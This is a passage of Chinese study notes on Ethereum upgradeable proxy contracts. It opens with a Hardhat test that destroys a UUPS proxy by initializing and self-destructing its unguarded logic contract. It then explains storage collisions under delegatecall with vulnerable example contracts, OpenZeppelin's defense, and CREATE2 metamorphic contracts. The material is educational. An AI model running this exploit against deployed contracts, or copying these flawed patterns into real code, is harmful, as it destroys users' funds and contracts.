utils.hexDataSlice(implementationAddressFromStorage, 32 - 20)
);
};

describe("ExplodingKitten", () => {
it("should destroy an UUPS proxy with unguarded logic contract irrecoverably", async () => {
const [deployer, attacker] = await ethers.getSigners();
// 以 uups 的可升级模式部署合约,模式选择参见:https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/plugin-truffle/src/deploy-proxy.ts
const SimpleToken = await ethers.getContractFactory("SimpleToken");
const simpleToken = await upgrades.deployProxy(SimpleToken, {
kind: "uups",
});
// 获得逻辑合约地址
const implementationAddress = await getImplementationAddress(
simpleToken.address
);

// Do something on proxy first
// 铸币
await simpleToken.mint(deployer.address, 1000);

// Verify correct behavior
// 验证铸币结果
expect(await simpleToken.balanceOf(deployer.address)).to.equal(1000);
expect(await simpleToken.totalSupply()).to.equal(1000);

// Verify logic contract is non-zero
// 验证逻辑合约非零
expect(await ethers.provider.getCode(implementationAddress)).to.not.equal(
"0x"
);

// Begin exploit
// 开始攻击
// 部署攻击合约
const ExplodingKitten = await ethers.getContractFactory("ExplodingKitten");
const explodingKitten = await ExplodingKitten.connect(attacker).deploy();
// 攻击者初始化逻辑合约
// contract.attach(addressOrName) 会返回附加到新地址的合同的新实例
// contractFactory.attach(address) 会返回附加到地址的合同实例
// 参见:https://docs.ethers.io/v5/search/?search=attach
await simpleToken
.attach(implementationAddress)
.connect(attacker)
.initialize();
console.log("implementationAddress", implementationAddress);
// 将逻辑合约升级至自己的攻击合约,并 delegatecall 攻击函数
await simpleToken
.attach(implementationAddress)
.connect(attacker)
.upgradeToAndCall(explodingKitten.address, "0xb8b3dbc6");

// Verify logic contract is zero
// 验证逻辑合约为0
expect(await ethers.provider.getCode(implementationAddress)).to.equal("0x");

// Verify that proxy is no longer functioning
// 验证代理不再运行
await expect(simpleToken.balanceOf(deployer.address)).to.be.reverted;
await expect(simpleToken.totalSupply()).to.be.reverted;

// Verify that proxy can no longer upgrade
// 验证代理不能再进行升级
const SimpleTokenV2 = await ethers.getContractFactory("SimpleTokenV2");
const simpleTokenV2 = await SimpleTokenV2.deploy();
// Tx 不会失败,因为它与现在发送到没有代码的地址相同
await simpleToken.upgradeTo(simpleTokenV2.address); // Tx not failing as it's same as sending to an address without code now

// Verify that the implementation code did not upgrade and is irrecoverable
// 验证实现代码未升级且不可恢复
expect(await getImplementationAddress(simpleToken.address)).to.equal(
implementationAddress
);
await expect(simpleToken.balanceOf(deployer.address)).to.be.reverted;
await expect(simpleToken.totalSupply()).to.be.reverted;
});
});

存储冲突

也就是 delegatecall 和 变量声明顺序的问题

存储方式

Solidity 状态变量在存储中的布局

转自:

每个版本单独存储

第一种方法意味着每个版本分别将其状态存储在自己的存储中。这确保了最大程度的隔离和控制,排除了冲突,但增加了将单独的记录迁移到存储所产生的复杂性和 gas 成本。让我们假设正在开发一个基本的代币合约。在这种情况下,核心数据是余额:

1
mapping (address => uint256) private _balances;

从新版本直接调用 _balances 是不可能的;为此,必须首先从以前的版本迁移数据。请注意,迁移只能执行一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mapping (address => uint256) private _balances;

// previous version of a token smart contract
ERC20 private _previous;

// flag indicates that migration of certain user balance was performed
mapping (address => bool) private _migrated;

function balanceOf(address owner) public view returns (uint256) {
return _migrated[owner] ? _balances[owner] : _previous.balanceOf(owner);
}

function setBalance(address owner, uint256 new_balance) private {
_balances[owner] = new_balance;
if (!_migrated[owner])
_migrated[owner] = true;
}

image-20221112214123081

此时会出现其他问题:无法根据任何请求在现场进行迁移,因为可能需要将数据记录到存储中,并且在仅查看功能中不可用。因此,所有对余额的请求,甚至是内部请求,都必须通过 balanceOf 和 setBalance 函数执行。样板代码更高,更不用说增加气体消耗了。

在最坏的情况下,对仅查看功能的调用会遍历整个令牌版本链收集数据并且无法记录与最新版本相关的操作结果,因为它们没有修改权限。从最新版本以外的其他版本调用这些函数是可能的,但意义不大。

在最新的令牌代码版本中同时为当前用户迁移数据和记录操作结果需要调用可以改变最新版本状态的函数。因此,对任何其他函数的进一步调用将不会通过整个令牌版本链。只允许代理合约调用改变最新版本状态的函数;对于以前的版本,必须完全拒绝访问这些功能。

作为数据库的合同

传统程序是如何解决这个问题的。数据与代码分离!此外,当涉及到复杂的程序和系统时,数据存储在 SQL 或 NoSQL 存储中。

为此目的编写的临时智能合约可以用作存储。因此,无论当前的代币代码版本如何,数据都将始终保存在该合约的存储中。该合约的代码可以移动到库中,但现在不在议程上。无需将数据从存储迁移到存储;相反,存储访问权限从一个版本转移到另一个版本。然而,使用这种类型的存储并非没有问题。它将需要定义一个可用于任何版本的代币智能合约的接口,例如类似 SQL 的或面向文档的。说到这种存储类型的例子,看看 EOS 表。让我们在数据方案

下统一结构、字段名和数据类型伞。存储智能合约代码可以由静态部分(无论当前数据方案如何都不会改变的代码)和动态部分(方案相关代码)组成。它是包含大量样板代码的动态部分,因此自动生成它很有意义,因为它是在 Protocol Buffers 或 Apache Thrift 中实现的。我碰巧在 ETHBerlin 黑客马拉松上处理了开发以太坊列式数据存储原型的类似任务。

数据项由以下结构描述:

1
2
3
4
5
6
struct Cafe {
string name;
uint32 latitude;
uint32 longitude;
address owner;
}

..我们为GitHub生成一个“驱动程序” 。驱动程序从Github调用静态代码,例如CDF.writeStringCDF.chunkDataPosition和其他函数。

正如我已经提到的,该解决方案涵盖了其他问题,并作为外部存储操作的示例。目前,我所知道的以太坊智能合约存储上没有 SQL/NoSQL 存储的有效实现。这似乎是一个有趣的话题,似乎是解决可变智能合约中数据存储问题的有希望的解决方案。

image-20221112214601260

状态存储在用作 DB 的合约中,并通过调用而不是delegatecall指令调用。对写调用的访问应该受到保护,并且只对代理合约可用。这个数据库合约的公共代码可以移动到一个库中。

委托调用并将数据存储在代理合约中

最后,第三种选择是将数据存储在代理合约存储中。如果代理是独立的智能合约,特定代码版本如何访问数据?EVM 委托调用功能使之成为可能。它在目标地址执行代码,但使用执行委托调用指令的合约的存储空间(参见Solidity的更多信息)。

image-20221112214906050

调用以前合约版本的函数没有什么意义,因为这些只是“代码片段”,所有状态都存储在代理合约中。Delegatecall用于调用库合约。库代码通过指针轻松定位必要的数据。但是,该指令可能对代理合同构成潜在威胁。不幸的是,官方的 Solidity 文档几乎没有用注释警告我们:“如果通过低级委托调用访问状态变量,则两个合约的存储布局必须对齐,以便被调用的合约正确访问调用的存储变量名义上的契约。”

冲突

参考1

参考2

一组简单的问题合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity 0.8.1;

contract LostStorage {
address public myAddress;
uint public myUint;

function setAddress(address _address) public {
myAddress = _address;
}

function setMyUint(uint _uint) public {
myUint = _uint;
}

}

contract ProxyClash {
address public otherContractAddress;

constructor(address _otherContract) {
otherContractAddress = _otherContract;
}

function setOtherAddress(address _otherContract) public {
otherContractAddress = _otherContract;
}

fallback() external {
address _impl = otherContractAddress;

assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)

switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}

会发生:

  1. 部署 LostStorage 合约
  2. 部署 Proxy,将 LostStorage 合约地址设置为构造函数参数
  3. 告诉 Remix LostStorage 正在 Proxy 地址上运行
  4. call myAddress()。它令人惊讶地返回一个非零地址。砰!碰撞。

原因

代理合约对逻辑合约的调用是使用 delegatecall

当A合约对B合约执行 delegatecall 时,B合约的函式会被执行,但对 storage 的操作都会作用在A合约上。举例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract A {
uint256 public value;

function add(address b, uint256 x, uint256 y) public returns (bool) {
(bool success,) = b.delegatecall(
abi.encodeWithSelector(
bytes4(keccak256('add(uint256,uint256)')),
x,
y
)
);
return success;
}
}

contract B {
uint256 public value;

function add(uint256 x, uint256 y) public returns (uint256) {
value = x + y;
return value;
}
}

other但假若多少在其中加了一个栏位,_value执行合约之后other反而栏位被改了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract A {
uint256 public other;
uint256 public value;

function add(address b, uint256 x, uint256 y) public returns (bool) {
(bool success,) = b.delegatecall(
abi.encodeWithSelector(
bytes4(keccak256('add(uint256,uint256)')),
x,
y
)
);
return success;
}
}

contract B {
uint256 public value;

function add(uint256 x, uint256 y) public returns (uint256) {
value = x + y;
return value;
}
}

防御

OpenZeppelin 处理的方法很简单,就是将_implementation换地方摆。以特定字串的杂凑值作为 Slot Index,存储实现的地址。

当然,当通过 keccak256 计算其存储槽时,任何条目都有可能产生冲突,参阅可能性

CREATE2

create操作码用于在以太坊区块链上部署合约。合约地址是通过散列部署者的地址和该地址的nonce来生成的。Nonce是一个标量值,等于从部署者的地址发送的交易数量。同样,在合约账户的情况下,nonce是该账户创建合约的数量。nonce有助于保持交易的顺序(来自一个地址的低nonce交易会先被开采),并防止重入攻击。nonce是一个递增的数字,防止create操作码产生重复的地址。只要在当前和下一个nonce之间没有新的交易发生,就有可能通过简单散列下一个nonce和地址来知道下一个合约的地址。

create2操作码被添加到以太坊虚拟机中,作为君士坦丁堡硬分叉的一部分,这个操作码也被用来部署智能合约。create2使用一些用户控制的输入来推导出智能合约的地址。换句话说,这个操作码提供了一种方法,在将智能合约部署到区块链之前计算其地址。这个操作码不是对部署者的地址和nonce进行散列,而是对部署者的地址、salt(由部署者提供的32字节的字符串)和合约的字节码的哈希进行散列。由于这个操作码的所有参数都由用户控制,create2提供了一种预先确定合约地址的方法。这个方法在推导出优化gas的合约地址和实现像状态通道这样的扩展解决方案时非常有用。在可升级性方面,create2提供了创建可变合约(metamorphic contract)的能力,这些合约可以用新的字节码重新部署到同一地址。

EVM包含一个selfdestruct 操作码,智能合约可以通过这个操作码来删除。为了在原始地址上部署一个新的字节码,该地址必须是自由的,因为智能合约是不可改变的。有几种方法可以将新的字节码部署到原始地址上,一个低效的方法是找到salt的参数,与新的字节码相结合,生成原始地址,寻找正确的salt参数的计算可以在链下完成。然而,这并不是一个很好的方法。另一个选择是部署一个可变合约。如上所述,可变合约可以使用不同的字节码重新部署到原始地址。

建立一个良好的升级模式,需要一个可变合约工厂。这个可变合约工厂的目的是通过改变其实现而不改变其地址来促进升级。在部署合约时,对应的部署函数使用create2预先计算可变合约的地址,实现合约是使用传统的create操作码部署的。这个操作码使用地址和nonce来生成地址,并将合约部署到该地址。要求实现地址不能为零。否则,实现合约没有被正确部署,函数必须返回。部署完实现合约后,工厂状态被更新来存储当前的实现合约。

值得注意的是,实现合约必须是自毁的,这也会使可变合约自毁。在重新部署可变合约之前,要确保可变合约使用selfdestruct操作码进行自我销毁。由于create2操作码的存在,可变合约的地址总是提前知道的。此外,由于它能够改变其实现,可变合约每次都可以用不同的实现重新部署。

使用create2是有优势的,但它也有自己的风险。最重要的风险是,每次合约被重新部署时,其存储都会被抹去。另外,带有selfdestruct操作码的实现合约可能不是一个可靠的资金存储方式。因此,在采用这种智能合约升级模式之前,开发者必须谨慎行事。


代理合约学习笔记
http://sissice.github.io/2022/11/13/upgradeable/
作者
Sissice
发布于
2022年11月13日
许可协议